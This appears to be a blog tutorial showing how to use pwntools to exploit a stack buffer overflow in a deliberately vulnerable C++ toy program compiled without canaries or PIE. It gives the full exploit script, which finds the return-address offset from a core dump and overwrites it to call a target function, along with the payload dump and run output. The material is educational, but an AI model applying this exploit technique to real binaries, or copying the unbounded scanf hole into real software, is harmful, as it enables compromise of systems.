Pwntools is a python exploit development library. Is has all the tools and shortcuts you need to improve your skills, processes, and documentation of your exploits.
The target
We're going to use pwntools to automate the exploitation of a buffer overflow. I'm using a 64 bits intel platform. I will disable canaries and pie. I will not strip symbols. Here is the vulnerable code we're about to automate its exploitation:
// $(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie
#include <algorithm>
#include <cstdlib>
#include <iostream>
#include <iterator>
#include <random>
#include <sys/resource.h>
int seed() {
// pseudo random seed generator
// can be used at compile time
auto hour = std::atoi(__TIME__);
auto min = std::atoi(__TIME__ + 3);
auto sec = std::atoi(__TIME__ + 6);
return 10000 * hour + 100 * min + sec;
}
extern "C" void call_me() {
// target function with mangling disabled
puts("congratulations!");
}
int main() {
auto rng = std::mt19937_64(seed());
auto length = std::uniform_int_distribution<int>(20, 40)(rng);
printf("buffer length is %d (0x%x).\n", length, length);
char buffer[length]; // compile time randomized length
scanf("%s", buffer); // vulnerable scanf
}
Our goal will be to call the call_me
function. Program expects a user input through stdin, read by scanf
. The size of the targeted buffer is randomly decided at compile time.
The Exploit
First let's import all the pwn tools:
from pwn import *
Then we define a context for the target using ELF()
and use process
to interact with the target process.
local_path = "vuln"
pty = process.PTY
elf = context.binary = ELF(local_path)
io = process(elf.path, stdin=pty, stdout=pty)
Now we have to find where is the instruction pointer saved on the stack, so we can overwrite it and make it point to call_me
.
pwntools has cyclic(n)
to create a unique pattern of n
bytes. It also has cyclic_find(subpattern)
to find the offset of the subpattern. Using this, we can find the offset where ip is saved.
Let's send a very large pwn pattern to the process and expect a crash. This will produce a crash dump that pwntools can analyse in order to retrieve the offset using the subpattern lying on the stack when the crash occured:
def find_rip_offset(io):
io.clean()
io.sendline(cyclic(0x1000))
io.wait()
core = io.corefile
stack = core.rsp
info("rsp = %#x", stack)
pattern = core.read(stack, 4)
info("cyclic pattern = %s", pattern.decode())
rip_offset = cyclic_find(pattern)
info("rip offset is = %d", rip_offset)
return rip_offset
offset = find_rip_offset(io)
At this point, we know where to overwrite the instruction pointer. We can craft the following payload : padding to saved ip + call_me address
.
The binary is not stripped, pwntools give your tools to fetch ELF symbols, so we can craft the payload easily:
offset = find_rip_offset(io)
padding = b"A" * offset
call_me = p64(elf.symbols.call_me)
payload = b"".join([padding, call_me])
with open("payload.bin", "wb") as fh:
fh.write(payload)
Here I dumped the payload in payload.bin
so we can debug it:
$ nm vuln | grep call_me
00000000004011c9 T call_me
$ xxd payload.bin | tail -n 2
00000a30: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
00000a40: 4141 4141 4141 4141 c911 4000 0000 0000 AAAAAAAA..@.....
And then we can send the payload and retrive the response :
def print_lines(io):
info("printing io received lines")
while True:
try:
line = io.recvline()
success(line.decode())
except EOFError:
break
io = process(elf.path)
io.sendline(payload)
print_lines(io)
./exploit.py
[*] '/tmp/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process '/tmp/vuln': pid 15129
[*] Process '/tmp/vuln' stopped with exit code -11 (SIGSEGV) (pid 15129)
[!] Error parsing corefile stack: Found bad environment at 0x7ffeb8030fc5
[+] Parsing corefile...: Done
[*] '/tmp/core.15129'
Arch: amd64-64-little
RIP: 0x4012e2
RSP: 0x7ffeb8030258
Exe: '/tmp/vuln' (0x401000)
Fault: 0x616b6162616a6162
[*] rsp = 0x7ffeb8030258
[*] cyclic pattern = baja
[*] rip offset is = 2632
[+] Starting local process '/tmp/vuln': pid 15132
[*] printing io received lines
[+] buffer length is 25 (0x19).
[+] congratulations!
Yay we have the congratulations!
output!
Here is a Makefile
to ease the tests:
all: clean vuln exploit
vuln:
$(CXX) vuln.cpp -o vuln -fno-stack-protector -no-pie
exploit:
./exploit.py
clean:
rm -f vuln
rm -f core.*
rm -f payload.bin
Discussion (0)